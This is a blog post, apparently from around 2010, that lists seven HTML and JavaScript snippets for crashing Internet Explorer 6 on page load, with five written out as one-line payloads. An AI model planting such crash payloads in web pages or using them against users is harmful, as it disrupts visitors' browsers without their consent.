Top 7 Ways To Crash Internet Explorer

Microsoft Internet Explorer aka Exploder is a fun browser. Even a guy like myself that is no hacker at all can crash it with ease, at least version 6 (IE6). In fact one line of code is enough, even less. It’s ridiculous. The most ludicrous fact about it: There are manifold ways to do just that: Crash Internet Explorer by just opening a web page.

So I present to you the 7 best methods of crashing Internet Explorer 6! IE7 is immune against most of them, but not all.

  1. <STYLE>@;/* Source offline
  2. <input type crash> Source offline
  3. <body onLoad=”window()”> Source
  4. <style>*{position:relative}</style><table><input></table> Source offline
  5. <script>for (x in document.write) { document.write(x);}</script> Source
  6. Event handler crash, example longer than 1 line: Source
  7. Ordered list crash, example longer than 1 line: Source, the only one btw. that does not always work, you have to mouse over or click the first item of the list.

For me on my Internet Explorer 6.00 all of them worked fine. I couldn’t upload them to my server though as my hosting provider probably filters such “malicious” code out.

By demonstrating those seven methods to your peers you can maybe convince them to dump Exploder and start using a browser.

Last update: September 7th, 2010 – Removed broken links.